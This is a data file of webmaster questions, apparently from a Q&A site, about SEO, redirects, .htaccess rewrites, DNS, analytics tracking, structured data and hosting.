{"id":"58314","title":"SEO impact of 301 permanent redirecting a domain to a sub-directory of another domain?","text":"I had my own experience of 301 permanently redirecting a domain to another (every page mapped) and Google properly worked everything out and it never had any problem SEO-wise. However, what if I'm redirecting a whole domain to the sub-directory of another domain in the same manner? For instance, `http:\/\/www.example.com\/` 301 to `http:\/\/www.another.com\/example\/`. And everything underneath is correctly mapped such that `example.com\/something\/somepage.php?a=1` is 301 permanently redirected to `another.com\/example\/something\/somepage.php?a=1`. Etc. Does anyone have any experience in this situation? Would it all work out good with regards to SEO?"}
{"id":"5468","title":"Is there any overhead on making my webapp traverse more folders?","text":"I understand there is a need of placing different categories of resources in separate folders for the sake of organization. But is there any noticeable decrease in page load speeds accompanied with it that adds up as you add more and more folders or go deeper folder within folder and so on?"}
{"id":"58256","title":"Schema.org product variations with same url. Problem?","text":"When displaying multiple products that are basically the same, let's call them **Product A** with different sizes, **30** , **40** and **50** , I choose to create only one page per product and avoid duplicates, since the size would really be the only difference. So in this page, I'm displaying the different product codes based on their size, ie: A30, A40 and A50. On a different page, for example, where **Product B** is listed, I would like to display related products, in this case, **Product A** (only a list with sizes and codes, no pictures). I can either display **Product A** by itself (which I don't want to, since a Product B30 would fit a product A30, for example), or display Product **A30** , **A40** and **A50**. Using schema.org, **itemprop=\"url\"** , I would like to link to this product's page. The question here is, product **A30** , **A40** and **A50** are all listed in the same URL. Would linking these 3 products to the same URL pose a problem?"}
{"id":"20044","title":"Does having same IP & some same content effect my SEO?","text":"A client of mine came to me with a unique question that I wasn't sure of the answer to. He wanted to know that if he has a number of different websites (let's say 500 sites with their own domain name) on the same hosting package with the same IP, will that effect the SEO of the websites? I figured it wouldn't due to the fact they have their own domain but I wasn't sure. Another question, what if all 500 were on the same CMS and were all related in some way (category wise, let's say he's in the baking industry). Their content will be different (about 60% different) across the board but have the same template (only right now, eventually there will be about ten possibly more). Will that effect their SEO in any way (besides running the risk of duplicate content)? Thank you very much! I will try to follow up if anyone else has a question for me."}
{"id":"38767","title":"YouTube Copyright","text":"I am interested in making a trailer channel, but I need to know if I can just take recently released movie trailers and upload the videos to my channel. It might sound like a dumb question, but I am just wondering if I can do this without penalty (i.e YouTube deleting my account) For Ex. Taking the new star trek trailer and uploading it to my channel. Great answers so far, however I want to have a channel based solely on Trailers. How do I go about doing this?"}
{"id":"38765","title":"Social Counters made my site pretty slow on yslow rating","text":"Two days back I added social counters on my listing page and that screwed up my Page Speed Grade and yslow ratings pretty badly. Before:  After:  Sharing Options:  If I disable the sharing on landing page then I can see those awesome results back. Here is my blog link is How can achieve same or comparable results when social sharing is enabled."}
{"id":"28727","title":"Best practice for suEXEC on complex sites?","text":"What is best practice for using suEXEC on complex sites? We've got a site running under a single vhost, and we want to be able to run different PHP web apps eg \/forum \/wiki \/crm as their own UIDs, to help isolate any potential security threats. I've used apache2 + mod_fastcgi + mod_suexec to split multiple sites to unique UIDs by vhost before. However, mod_suexec's SuexecUserGroup directive only works inside a <VirtualHost> block, and is not valid in a more specific <Directory> or <Location> Is changing to lighttpd + suexec the only way to achieve this level of isolation without resorting to using a rewrite\/proxy hack?"}
{"id":"427","title":"What are the best user data collection and gathering tracking tools?","text":"I know of a few tool that help markets gather data about visitors, Google Analytic, CrazzyEgg, and KISS Insights. What are other notable tools to help track information? What do you use?"}
{"id":"51861","title":"Can we change domain of YAHOO","text":"I am facing big problem with Yahoo account How to change Yahoo ID `abc@yahoo.co.in` to `abc@yahoo.com` I have an account like `abc@yahoo.co.in` but I kept all my **Recovery Mails, C.V's, Given to Friends** like `abc@yahoo.com`. So I was not able to receive any mails from anyone and everyone is saying that they are not able to send emails to me. It says mail address does not exits. I was not able to create or convert my account to `abc@yahoo.com`. Its so disgusting that Yahoo people can't make a solution for this. May be this is one of the reason they have lost some of their market share. :'("}
{"id":"24168","title":"How can I track \"user returns after X days\" as a goal in Google Analytics?","text":"I would like to set up goals that track specific cases of user behavior that we have decided are interest to us, such as when a user returns after having not been on the site for a week, or a month. So for example, I might report that of the 100 visitors to the site today, 33 of them were returning for the first time in a month, and 42 were returning for the first time in a week. This is already tracked to some degree in the Days Since Last Visit report, but the report seems very limited -- I really want a metric to use (like I use other goals) that just counts the number of cases of something. There are four types of goal available: Url, Time on Site, Pv\/Visit, and Event -- the first three are not right, but it seems like I might be able to create an event that does what I want. I could do this by storing the last visit date in the database, or in a cookie, but am hoping to avoid this, as it seems redundant. Or maybe a custom variable that I set in some JS logic? Has anyone done anything like this?"}
{"id":"18170","title":"google search result : webpage ranking order","text":" I want to know when I typed - cheapest mobile phone in india. I get this website title inside the red box first (The title is not relevant to my typed phrase), whereas which is relevant, inside the blue box is positioned below."}
{"id":"18172","title":"Web content that cannot be found in Google's index is considered unique content?","text":"What is the criteria for determining what unique content is? Is it content that cannot be found in Google's index? Or is there more to it?"}
{"id":"51863","title":"Unusual Source in Google Analytics","text":"When I'm reviewing the sources of my pages within Analytics, I'm occasionally seeing some values that appear to be incorrect\/impossible. I'm not seeing it often, but definitely enough to skew some reports unless I add to my filter. I'm seeing a couple development sites that I'm working on (which have no relation to the production site that I'm viewing reports for) as sources for traffic to the site. These development sites have 0 links to the production site, so I'm not sure how Analytics is seeing them as sources of traffic in any way. There are times when I have both the production site and these development sites open in separate tabs on the same browser, but that's about the closest they are to connecting in any way. Any ideas on how this could occur?"}
{"id":"57974","title":"What is the difference between IAAS and web hosting?","text":"I've been googling to find out exactly what IAAS (Infrastructure As A Service) is, but I don't understand how it is different from web hosting?"}
{"id":"41060","title":"Force fresh content, not from the browser cache","text":"I used the following code in the htaccess to put my site under maintenance and show the visitors maintenance.html. Options +FollowSymlinks RewriteEngine on RewriteCond %{REQUEST_URI} !\/maintenance.html$ RewriteRule $ \/maintenance.html [R=302,L] My site is now back online but now I see that all those browsers that tried to go on my site during the maintenance, they are still getting the maintenance.html. It works if I clear the browser cache and I sort of understand why it is happening. I think the browser caches the redirect and is still doing it. How can I clear this issue?"}
{"id":"53844","title":"Keyword repeated in tables columns and SEO keyword spamming","text":"I have a table that lists episodes of a TV show and I have a genre column. Google sees the words in that column as keywords and I suspect that it thinks you are keyword spamming seeing as you may have the same word repeated over and over. How can I overcome this? It seems using images would act the same as the alt text would be the same as the text it's replacing."}
{"id":"54253","title":"Why is this website not getting PageRank?","text":"One of my customer website is not getting ranked by Google. It's been more than an year and have 1500+ backlinks as per Google Webmaster Tools, but still PageRank is zero? Is this website being penalized and ranking against keywords are too low?"}
{"id":"67778","title":"Statically mapping a PHP script to another script using an .htaccess file results in 404 errors","text":"After having read a lot of posts on the topic of URL rewriting, I still remain stuck with `404` status errors. **My goal:** A **'static'** rewrite of URLs, as follows (user clicks or enters the one URL\/script, but internally the other one is being executed - the parameters are also 'static', hence I think I cannot use any kind of pattern `(*.)` and `$1` in the rule...: * `domain.tld\/en\/abc.php?foo` to `domain.tld\/en\/xyz.php?bar` (1st level) * `domain.tld\/en\/abc.php?foo&blabla` to `domain.tld\/en\/xyz.php?bar&otherstring` (2nd level) **Additional Info:** * Directory 'en' exists. * Script abc.php **does not** exist * Script xyz.php exists and works fine with the given static parameter(s) **My .htaccess:** Options +FollowSymLinks RewriteEngine On RewriteRule ^en\/abc\\.php\\?foo&blabla$ \/en\/xyz.php?bar&otherstring [NC,L] RewriteRule ^en\/abc\\.php\\?foo$ \/en\/xyz.php?bar [NC,L] I already get a `404` error on this simpler last rule. I don't have access to the rewritelog."}
{"id":"9763","title":"block users by country in .htaccess","text":"Is there a way to block users from a particular region. Currently I have compiled a list of over 100 IP addresses that I block in my .htaccess file. Unfortunately as the list grows I see a great number of offenders come for the same areas, like China. Can I block that entire country? Or region?"}
{"id":"29916","title":"Moving from static site to Wordpress","text":"I'm moving a site from static to Wordpress where all the pages in the old site were XXX.html. This has gone ok as I included a Wordpress plugin to handle the renaming of pages\/posts to .html. I was wondering what I should do with pages that I don't plan to migrate. For example I combined their old location and contact pages into one page in Wordpress. I'd like to redirect the old location page to the new page on Wordpress. Is there a plugin for that? I wasn't able to find something or I was searching the wrong way. I read others suggest using 301 redirects, is that the best way? Thanks!"}
{"id":"58372","title":"Is it better to host your own blog or use Medium?","text":"Is it good idea create a company blog on Medium instead of setting it up on your subdomain. What are the advantages and disadvantages of using Medium for your company blog? Can you you post your article on medium after posting it on your blog? How would you avoid penalty by google for duplicate content?"}
{"id":"23660","title":"Collaborative editing and publishing software","text":"Is there any CMS that focuses on collaborative editing wiki-style by anyone and publishing? Wikis are usable, but there is no 'publishing' per se - when you save a page and want others to work on it, it will be available to view to all. Work in progress should be separate and the final content can be published blog-style with RSS updates. An open license license is preferred, or at least free-to-use."}
{"id":"23661","title":"Magento store has home page url of just ip address and not actual domain name","text":"I am looking into a friend's site which is really old and strange, and it has one thing really weird with it. If you go to the site here: http:\/\/www.crystalvine.com and click on \"products\" on the top menu, it takes you to the store's home page which is set up in Magento. Look at the url on that page. It is just an ip address. How could that be? Does anyone have any idea how to make it a domain name? I have access to the Magento account of that site, but can't figure out how to make the actual url show up. Thanks!!"}
{"id":"1230","title":"How good is Traffic-Seeker?","text":"I have recently setup my blog and I look forward to posting once a week. I want to increase traffic to my blog and was searching for good search-engine tools. I came across Traffic-Seeker and now I plan to buy it. Before I buy it, I wanted reviews from those who have already used it. Please let me know if there's any alternate to Traffic-seeker. I'm looking for a good tool to increase traffic on my blog. * Is Traffic-seeker really good and does it work well? * What other tools are available that can drive good traffic to my blog?"}
{"id":"33777","title":"How do Search Engines Segment Against Locale?","text":"Assume I run a multi-lingual website. If I had a Spanish section, it should be included in Spanish-segmented search engines such as * Google Spain * Google Peru * Google El Salvador and excluded in the others. Likewise, even though the website would have content in Chinese, multilingual countries such as Singapore should feature content in their main language (English in this case). What is the best approach to ensure the appropriate language is associated with Google's search indices?"}
{"id":"23665","title":"Content loading during scrolling and seems infinite (what script)","text":"I've noticed on several websites that when you scroll down it loads content as your scrolling and this seems to go on forever.... What script is used for that loading system?"}
{"id":"47319","title":"Bounce Rate for Macintosh extraordinarily high","text":"Google Analytics is reporting a bounce rate of 10.24% for Windows Operating System and 8.79% for IOS for our home page. However, for Macintosh, it's reporting a bounce rate of 42.39%!! Looking at browsers rather than OS, I see Safari has a bounce rate of 26.5% and Chrome only has a bounce rate of 8.44%, Internet explorer has 10.59%. What can I do to investigate this further? Do you know why this could be?"}
{"id":"48923","title":"View website like a search engine","text":"I once found a site where you can enter a web address and it returns a view of the website with the elements a search engine would 'see' but in the same layout as the original website. I found these tools: SEO-browser.com and MozBar but they don't show the site in the same layout. So for example adverts loaded by Javascript after page load would not appear in the search engine view but it would still show a similar layout to the normal website view. I realise a search engine doesn't see the site this way and SEO-browser and Mozbar are probably more correct but this tool helps me understand what's going on better. I'm pretty sure the site I'm trying to find was mentioned on SEOMoz or another reputable site but I cant for the life of me find it. Any suggestions or similar tools would be helpful?"}
{"id":"48920","title":"How has my blog been getting pageviews from news.google.com?","text":"I don't know how but my blog has been getting pageviews from `news.google.com`. How is it happening? Is it possible that my posts would show in Google News?"}
{"id":"8285","title":"What third-party services\/libraries exist for user registration forms?","text":"I'm looking for any existing services\/libraries `(PHP preferrably)` that I can implement into my existing solution (wordpress\/symfony) to handle user registration (personal information like name, address, e-mail etc.) What options exist today, or will I have to pull out my own?"}
{"id":"55489","title":"Microdata with nested product and reviews","text":"I have some HTML listing reviews with HTML like: <div itemscope itemtype=\"http:\/\/schema.org\/Product\"> <img class=\"product-thumbnail\" itemprop=\"image\" src=...> <div itemscope itemprop=\"review\" itemtype=\"http:\/\/schema.org\/Review\"> <!-- we want this to be the Review name --> <h4 itemprop=\"name\">Loved it<\/h4> ...... <!-- we want this to be the Product name --> on <a href=\"\/product\" itemprop=\"name\">Cool Product<\/a> <\/div> <\/div> The problem here is that the product name is actually nested inside the review, and there is no way to distinguish it from the review title (which is also named \"name\"). Is there a way to solve this other than changing the HTML structure completely? For example, in made up syntax something like: `itemprop=\"Product:name\"`or adding `itemref=\"..\/\"` ? I believe I can duplicate the product name in a `<meta>` tag but that seems less than ideal. EDIT: I clarified the HTML example."}
{"id":"8281","title":"Working with an external programmer","text":"Hello I want to build a website I found Programmer and He wants me I'll provide him a server with certain requirements. Where is the best website to rent a server ? What kind of access he needs ? How do I provide him access Without the ability to change things as payment information for your server ?"}
{"id":"55488","title":"DNS zone record pointing to two different IP Addresses","text":"I know this had been already ask a couple of times but all the answer I find doesn't seem to work.(See More: http:\/\/webmasters.stackexchange.com\/a\/50103\/33973) What A or CNAME DNS Zone Records should I put so these two conditions will work: (1)If my domain \"this.us\" is opened without the `www`, I want to point the domain to the bit.ly server: `69.58.188.49` (2)But if my domain is opened with `www` (www.this.us), I want to point the domain to a different server: `1.2.3.4` This is what I've done so far: A Record @ 69.58.188.49 www 1.2.3.4 But everytime I open my domain on a web browser, both domain with and without `www`, seems to open bit.ly instead of the two conditions stated above."}
{"id":"51034","title":"Google Dynamic Remarketing Excessive View Thru Conversions","text":"We run several ecommerce sites that we had previously set up with tag-based remarketing. We created a new dynamic remarketing campaign and only tagged the product page to see how dynamically created lists would populate. Several of the dynamic lists began populating with more members than we had visitors to the store. There have also been more view through conversions than actual orders for that store. I have to think that because the dynamic remarketing seems to use a shared tag, and that tag isn't substantially different from our old remarketing tags, that it is errantly including all visitors and conversions for all stores in the lists (even though we haven't updated the tracking codes). Is anyone else experiencing this? How can we stop conversions from being counted from multiple stores?"}
{"id":"15031","title":"http auth an iframe automatically so users don't have to login?","text":"I have a members only site running WordPress and a stock images gallery running an old php gallery CMS. I want the members to only have to login once but I want to protect the gallery from the general public. I trust my members so I don't need anything spectacularly secure. I was thinking about using an iframe that auto logs into the gallery folder via HTTP authentication. Is this possible (if so how) or is there a better method?"}
{"id":"29629","title":"Text Style behind an Image or Pic","text":"There are times that surfers block images just to have a faster browsing (Block download images) I would like to have an option when this happen to show a style text with a large text in colors. So if the user block my images they still can see my main message."}
{"id":"31179","title":"Google Webmaster tools restricted to certain pages only","text":"Is it possible to give someone access to webmaster tools, but restrict their access to specific pages only? We have a franchise and each franchisee might have their own SEO people who at the moment are asking for access to the Webmaster tools. But, we can't give them full access."}
{"id":"29625","title":"Two name servers?","text":"I was told by my domain registrar that they require two name servers per domain name. I want to host my own DNS (to try it out, this isn't an important website) on my own server. I only really need one name server. Two questions: Is this two name server minimum a common requirement and will it work if I set ns1.website.com and ns2.website.com to the same IP address?"}
{"id":"39494","title":"how to rewrite %20 in .htaccess","text":"I need to perform an equivalent rewrite to: RewriteRule ^\/this%20file.pdf http:\/\/www.example.com\/ How do I handle the %20? I have tried RewriteRule ^\/this\\%20file.pdf http:\/\/www.example.com\/ and RewriteRule ^\/this(\\s|%20)file.pdf http:\/\/www.example.com\/ but these have not worked. The website is part of a Wordpress network, so it doesn't have it's own directory or subdomain where I can place a .htaccess file containing redirects; it's a virtual subdomain with domain mapping. So, the Wordpress .htaccess rewriterule is preceeded by RewriteCond %{HTTP_HOST} ^example\\.com$ [NC]"}
{"id":"60282","title":"Trying to publish blog articles correctly on Facebook","text":"I have this blog here: http:\/\/www.mareva.es\/noticias **The problem:** when I try to share an article in Facebook, I get in the pre- publish page this text `amistades guadalajara club deportivo`. It is true I used another website (related to an sporting club) as base to make this new website, but I can not find the text \"amistades guadalajara club deportivo\" in the new one. Any help?"}
{"id":"23483","title":"Free domains for site names?","text":"I am going to create a forum for my clan from a game and I was looking for a way to point\/redirect to an ugly\/long domain name from a shorter domain name. I am looking for a provider similar to http:\/\/www.freedomain.co.nr\/ but I am looking for more options and different domain extensions to decide which one would be easiest to use. So it would be something like www.niceclanname.domainext -> www.unglyhardnametouseandremember.com\/clan\/ What are the available services that do this?"}
{"id":"8461","title":"How should a site respond to automated login attempts with phony usernames?","text":"For the last couple weeks I've been seeing a consistent stream of 15-30 invalid login attempts per hours on my site. Many of them are non-sensical usernames that nobody would ever register for real, and often contain typical spam-related keywords. They all come from different IP addresses so I can't just IP block\/throttle the requests. I'm not worried about unauthorized access to real accounts since they aren't using real usernames. And if it were a member of my site trying to brute force logins, they could easily scrape the valid usernames from the site, so I'm not worried about that kind of malicious behavior either. But what's the point of this type of activity? What would whichever bot operator is doing this have to gain by attempting all these logins?"}
{"id":"34617","title":"How do I stop googlebot from guessing urls parameters","text":"When the googlebot visits our sites it seemingly tries to visit urls that do not exist resulting in exception being thrown. The url is is like `http:\/\/ourdomain\/thepage.aspx\/x\/8\/x\/` etc.x stands for no value in our application. It seems like googlebot seems which parameters it can use, because the urls are no link from the page. Is there any way to control this behaviour?"}
{"id":"65367","title":"Self-referential hreflang attributes for single language website?","text":"I've been told by an SEO company to add a `hreflang` attribute to every page on a single-language website (ie. 'self-referential' tags), but everything I've read about the hreflang tag, including Google's take, suggests that it's only really useful for multi-language websites. Adding this would be a huge amount of work for this particular site, and I really can't see the potential benefits (or even any indication that such a thing is considered best practice by anyone). This Google Webmaster blogpost does recommend using _self-referential_ `hreflang` attributes, but only in relation to multiple-language websites. > \"If you have multiple language versions of a URL, each language page must > identify all language versions, including itself. For example, if your site > provides content in French, English, and Spanish, the Spanish version must > include a rel=\"alternate\" hreflang=\"x\" link for itself in addition to links > to the French and English versions. Similarly, the English and French > versions must each include the same references to the French, English, and > Spanish versions.\" Is there any SEO benefit to adding such a tag to a _single language_ website? E.g. Just a single instance, like: <link hreflang=\"en\" href=\"http:\/\/www.example.com\" rel=\"alternate\"> ...to the document `<head>`? (Please note that this is in _addition_ to the obligatory `lang=\"en\"` attribute in the `<html>` element.)"}
{"id":"60286","title":"I want to know price for local listing","text":"I would like to get listing from some of local listing so I want to know about that price for listing to their internet sites? this is my list : 1 Info group 2.Axiom 3.Starkness\/Localize 4.Factual 5.Foursquare 6.Super pages 7.Best of the Web"}
{"id":"39140","title":"Is there a website Virus Scanning Script?","text":"Is there a script not a program that I can use for my file sharing site that scan files that are being uploaded for viruses and if it finds anything it will refuse the upload?"}
{"id":"51076","title":"Duplicate meta tags and descriptions in GWT but they are fixed","text":"How do I remove the duplicate meta tags and descriptions found in the HTML Improvements tab on GWT? The issues reported are because some people were linking to us with spaces or dashes in the URLs instead of \"+\" or also without the trailing slash. I have fixed these issues by permanently redirecting the errant URLs which can be proved with the Fetch as Google, but these issues are still appearing as issues on GWT: why are they still there? and how can I remove them (there is no Mark as Fixed)? Correct: http:\/\/digiguide.tv\/pick-of-the-day\/26+August+2008\/documentary-dont-tell-the-bride-laila-and-nick-is-this-what-lalia-really-wants-on-her-big-day\/ Broken: http:\/\/digiguide.tv\/pick-of-the-day\/26-August-2008\/documentary-dont-tell-the-bride-laila-and-nick-is-this-what-lalia-really-wants-on-her-big-day\/"}
{"id":"59530","title":"Registering a parked domain after it expires","text":"I want to register a domain, but that domain is currently in use, parked. For the particular page, I queried _whois.net_ and found out that the domain expires 2014-12-16. How can I get the domain when it expires? When do I need to start placing the order for that domain? Can I simply do it with my preferred provider or should I contact _whois.net_ directly?"}
{"id":"42655","title":"How to have google index a login protected url?","text":"For example, my site: `http:\/\/abcde.foobar.com` is protected by a \"single sign on\" login page hosted at `http:\/\/sso.foobar.com`, so when a user visits \"abcde\", they get redirected to the \"sso\" login page always, and they have to login to access \"abcde\". It seems Google does not know about my \"abcde\" site at all, how do I make google know about my \"abcde\" site? Because a lot of my users are trying to search for \"abcde\" in google and the site doesn't come up. (my \"abcde\" url is very obsecure and not a word, so google should put my site on top if it had known about it)"}
{"id":"24594","title":"What is the average acquisition cost of a Facebook \"Like\"?","text":"Suppose you want to invest in a Facebook ad, targeted to a specific audience, how many $ would I need to spend to get one \"Like\" in my Facebook fan page? Note: I know not all users, industries, ads, landing pages, are the same, I am just looking for an average of past benchmarks on a $ per Like basis."}
{"id":"24593","title":"Process of automating domain registration?","text":"I have a website where users register domain.com\/user\/username. I'd like to add a feature where users can search for and purchase a domain name that maps back to that URL. I'm not sure how big of a task this is - can anyone provide an explanation of what's involved?"}
{"id":"50519","title":"301 Redirection for classic ASP website with IIS 6 server","text":"I am new in the SEO field. I have relaunched my old website to a new one, and my guess is I need to 301-redirect some\/many of my old pages. But I have deleted some of the pages from server which is not required in new website. That pages having good PageRank, so I'm thinking about 301 permanent redirect to relevant pages or home page. My website in classic ASP with IIS 6 server. Problem is that classic ASP does not understand a _web.config_ file. In an Apache server we can create a _.htaccess_ file and through which we can achieve redirection. So is there any option for classic ASP? I don't want those pages on server otherwise through properties I can set the redirection."}
{"id":"31395","title":"Multilingual website without language component in the URL","text":"I'm working on a website for Canada which will have `French` and `English` versions. For `SEO` purposes, I would like to avoid using any language tag in `URLs` because I believe it will have more impact (e.g. `example.ca\/products` better than `en.example.ca\/products` or `example.ca\/en\/products`). I believe this is technically possible because the2 languages are sufficiently different that the `URLs` won't be conflicting with one another (e.g. if you want a \"product\" page, it will be `\/products` in English, and `\/produits` in French so you know which language the `URL` is about). Since `Google` (and most likely others) doesn't rely on the `URL` (nor `HTML` tags) to determine the content language I don't see any problems with search engines. To make this possible I've thought about using a `cookie` distinct from the session cookie (e.g. `example.org_language`) with long term expiry (e.g. `N` years) that will memorize the language chosen by the user. That way when people visit the website with a new browser session, they get served the proper language. I have already given up on users being able to switch one page from `English` to `French`: when people will chose `English` or `French` from the menu they will be redirected to the corresponding version of the home page. **Do you foresee any problems with not using a`language` component in the `URL` (whether domain or path)?** ( _as long as one makes sure`URLS` don't conflict_)."}
{"id":"24598","title":"If I use a web hosting service with a custom domain name then later want to move to a different host, will I be able to use that same domain name?","text":"Disclaimer: I am new to everything web development so I might have looked over something basic, but I tried doing a bit of research and couldn't find an answer to my question, which is why I'm asking it here. So basically over the past few days I have really become interested in web development and want to create a personal web page. From browsing around, it seems like HTML+CSS+JavaScript is a good combo to get something basic going. Once I get my page ready, I understand I have to find a web host to put my site up on the WWW. My question is, let's say I find some cheap hosting site that allows a custom domain but provides little bandwidth and I make www.hey.com. Eventually, the site gets poppin' and I want to ditch the web hosting service I'm with to either find a better service that provides more bandwidth or host my own server (however all that works). If I move to this new, better web hosting service, will I still be able to use the domain www.hey.com or would it be somehow registered as a \"used-up\" domain name with the previous web hosting service? I ask because I've got a really good name for the site but I want to start off with a smaller, cheaper web hosting service to experiment around and if I ever manage to get things kickin' then I plan on moving to a bigger, better service. But I don't want to use up the domain name with the smaller service that I use just for experimental purposes if it won't be available for the better hosting service later on. Also, this brings me to another question. Once I eventually ditch the cheap service and shut my page down, will results of it still show up in Google? Because I know Google has this \"cache\" thing that you use to view pages from a previous date or something like that but I'm not completely sure how it all works."}
{"id":"65528","title":"How to change website on device orientation change?","text":"This question is in the context of a previous one but I think deserves another thread on its own. Being able to detect user agent and serve mobile or desktop version is good, but **is there also a way to detect orientation to serve website version when orientation changes**? For example on large mobile devices in landscape orientation and width 1024px or more, I want to show the desktop version, but if put on portrait orientation, I want to serve the mobile version. **In summary** * desktop: landscape website layout * mobile-large-landscape: landscape * website layout mobile-large-portrait: portrait website layout * mobile-small-landscape: portrait website layout * mobile-large-landscape: portrait website layout Conventionally, this can be solved by using media queries and responsive design. However, the landscape and portrait websites have very little similarities, so it is easier to create both sites from scratch."}
{"id":"32619","title":"Domain registration partnership + availability check","text":"I would like to create a simple module for my website that prints keywords and tells the user if the keyword is available to register as domain. Is there any domain name registrar who gives any kind of api to do this? I would like to show something like this: Keyword | .com domain | .net domain Website | not available | available - register at XX for $0.99! (<- affiliate link) [edit] @Anthony Hatzopoulos, @Anagio - I wasn't specific because I don't really care about the form. It can be some kind of widget that just has to be implemented or a raw api that returns data that must be processed before showing it to the user. Raw API without any interface would be the best since you can modify and control outputted data. I do realise however that if there would be any api available people would use it not to generate income for domain registrar, but to use it as free \"whois\" api operator. I assume that if there exists a domain registrar with such a feature - than it's propably coded in JS to secure the data."}
{"id":"32618","title":"Alexa Sites Linking In","text":"I have read that Alexa updates its \"Sites Linking In\" only once per month (although ranking is updated daily, as I monitor it daily). Are there any webmasters here who track \"Sites Linking In\" and know how often it is updated by Alexa?"}
{"id":"16108","title":"Virtual Host under MacOSX not working","text":"I have setup a virtualhost for MacOSX Apache installation. These are my steps: * edit \/private\/etc\/apache2\/httpd.conf removing comment from: Include \/private\/etc\/apache2\/extra\/httpd-vhosts.conf * edit \/private\/etc\/apache2\/extra\/httpd-vhosts.conf, added: <VirtualHost *:80> ServerName test.local DocumentRoot \"\/Users\/myusername\/Sites\/Test\/public\" <Directory \"\/Users\/myusername\/Sites\/Test\/public\"> Options Indexes FollowSymLinks Includes AllowOverride All Order allow,deny Allow from all <\/Directory> <\/VirtualHost> * edit \/private\/etc\/hosts added 127.0.0.1 test.local * Restart Apache But the VirtualHost does not work. To further isolate the problem, I check the same configuration with `MAMP` and the virtual host worked right, so the configuration files should be fine. What can be wrong?"}
{"id":"5114","title":"SEO: Will Multiple Redirects (301, Permalink Plugin) affect ranking","text":"I asked for help over at WordPress Answers StackExchange for doing a 301 Redirect for my website, which will involve a permalink structure change also. One of the suggested solutions was `301 Redirect` via `Apache (.htaccess)` and then use a plugin for internal redirects on the new site. The person who answered was not sure if using this two step approach will affect SEO and suggested I ask over here. So will doing a 301 Redirect and then having a plugin also redirect to the correct URL affect how Google indexes my new site, PageRank or any other SEO rankings?"}
{"id":"55275","title":"Google Analytics E-Commerce doesn't track","text":"My problem is with the tracking of my e-com. Conversion doesn't work. I did it like in the guide of google. The debug console doesn't show any problems. My code: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXXXXX-1']); _gaq.push(['_trackPageview']); try{ _gaq.push(['_addTrans', '<?php echo $id_eco ?>', \/\/ transaction ID - required 'Bauer und Boecker', \/\/ affiliation or store name '<?php echo str_replace(\",\",\".\",$brutto_eco) ?>', \/\/ total - required '', \/\/ tax '', \/\/ shipping '', \/\/ city '', \/\/ state or province '' \/\/ country ]); \/\/ add item might be called for every item in the shopping cart \/\/ where your ecommerce engine loops through each item in the cart and \/\/ prints out _addItem for each _gaq.push(['_addItem', '<?php echo $id_eco ?>', \/\/ transaction ID - necessary to associate item with transaction '<?php echo $id_eco ?>', \/\/ SKU\/code - required '<?php echo $bezeichnung_eco ?>', \/\/ product name '', \/\/ category or variation '<?php echo str_replace(\",\",\".\",$einzelpreis_eco) ?>', \/\/ unit price - required '<?php echo $menge_eco ?>' \/\/ quantity - required ]); _gaq.push(['_trackTrans']); \/\/submits transaction to the Analytics servers } catch(err) {console.log(err);} (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> Any ideas?"}
{"id":"51931","title":"Conditional redirect based on referring source?","text":"Is it possible to redirect all traffic from a certain referring URL to a specific page?"}
{"id":"16107","title":"What liability concerns do advertising vendors raise, and how can I address them?","text":"One of the websites I administer wants to provide free advertising in the form of direct links to vendors at an event they are running. Up until now, there has been no advertising whatsoever on the site (or any of our other sites). The site is for a for-profit business. The idea of implicit endorsement of any vendors we advertise has been raised, which brought up the question of what we need to do, if anything, to protect ourselves from any potential problems such endorsement might create. I know that many sites have clauses in their Terms of Service that state that (in a nutshell) they are not responsible for any problems or grievances between the visitors to the site and any vendor advertised or linked. Are there other steps that a website typically takes when considering advertising, such as getting the advertiser to provide some sort of certification that their ad will not violate any trademarks or copyrighted material?"}
{"id":"32616","title":"Is there any tool or add on or anything by which i can know how many times I have opened a website in a browser?","text":"Is there any tool or add on or anything by which i can know how many times I have opened a website in a browser? I use google chrome. I want to know \"whether I have visited a particular website before or not\""}
{"id":"59560","title":"Combine user-agents in robots.txt","text":"Can user-agents be listed together, followed by their common rules like so in a _robots.txt_? User-agent: Googlebot User-agent: ia_archiver #Alexa User-agent: BingPreview #Microsoft User-agent: bingbot #Microsoft User-agent: MSNBot #Microsoft User-agent: Slurp #Yahoo User-agent: Ask Jeeves\/Teoma #Ask Disallow: \/adm30_buds\/"}
{"id":"8791","title":"I want to change the host account for Google app email?","text":"I have a standard (free) Google app Email Service. In the last 5 months, we have been using this service. Our website was hosted at a third party web hosting company. Now I am planning to change my web hosting provider. I want to keep my domain at the previous hosting company. Can Google Apps allow this option of changing web hosting for the registered Domain in the Google App for Email Service?"}
{"id":"57141","title":"How to follow the evolution of position in SERP in Google Webmaster Tools?","text":"Is there a way to see the evolution in time of the position in search engine results? In Google Webmaster Tools I can see the different positions where my page was showed but is there a way to \"sort it in time\"? E.G. I see this:  But is there a way to see chronologicaly the evolution? And what is the actual position as of now? \"6 to 10\", \"2nd page\" or \"3rd page +\"? PS: I mean directly in GWT (I don't want to buy any SEO software...)"}
{"id":"22534","title":"Duplicating someone's content legitimately & writing HTML to support that","text":"I want to add content from other blogs to my own (with the authors permission) to help build additional relevant content and support articles I've found useful that others have written. I'm looking into how to do this responsibly - ie, by giving the original content author a boost and not competing against them for search traffic which should go to their site. In order to keep my duplicate content out of search, and to hint to the search engines where the original content is to be found i've implemented: <head> <meta name='robots' content='noindex, follow'> <link rel='canonical' href='http:\/\/www.originalblog.com\/original-post.html' \/> <\/head> Additionally, to boost the original article and to let readers know where it came from i'll be adding something like this: <div> Article originally written by <a href='http:\/\/www.authorswebsite.com'>Authors Name<\/a> and reproduced with permission.<br\/> <a href='http:\/\/www.originalblog.com\/original-post.html' target='new'> Read the original article here. <\/a> <\/div> All that remains is a way to 'officially' credit the original author in the HTML for the search spiders to see. Can anyone tell me a way to do this possibly using rel=\"author\" (as far as I can see thats only good for my own original content), or perhaps it doesn't matter given that the reproduced pages will be kept out of search engines? Also, have I overlooked anything in the approach?"}
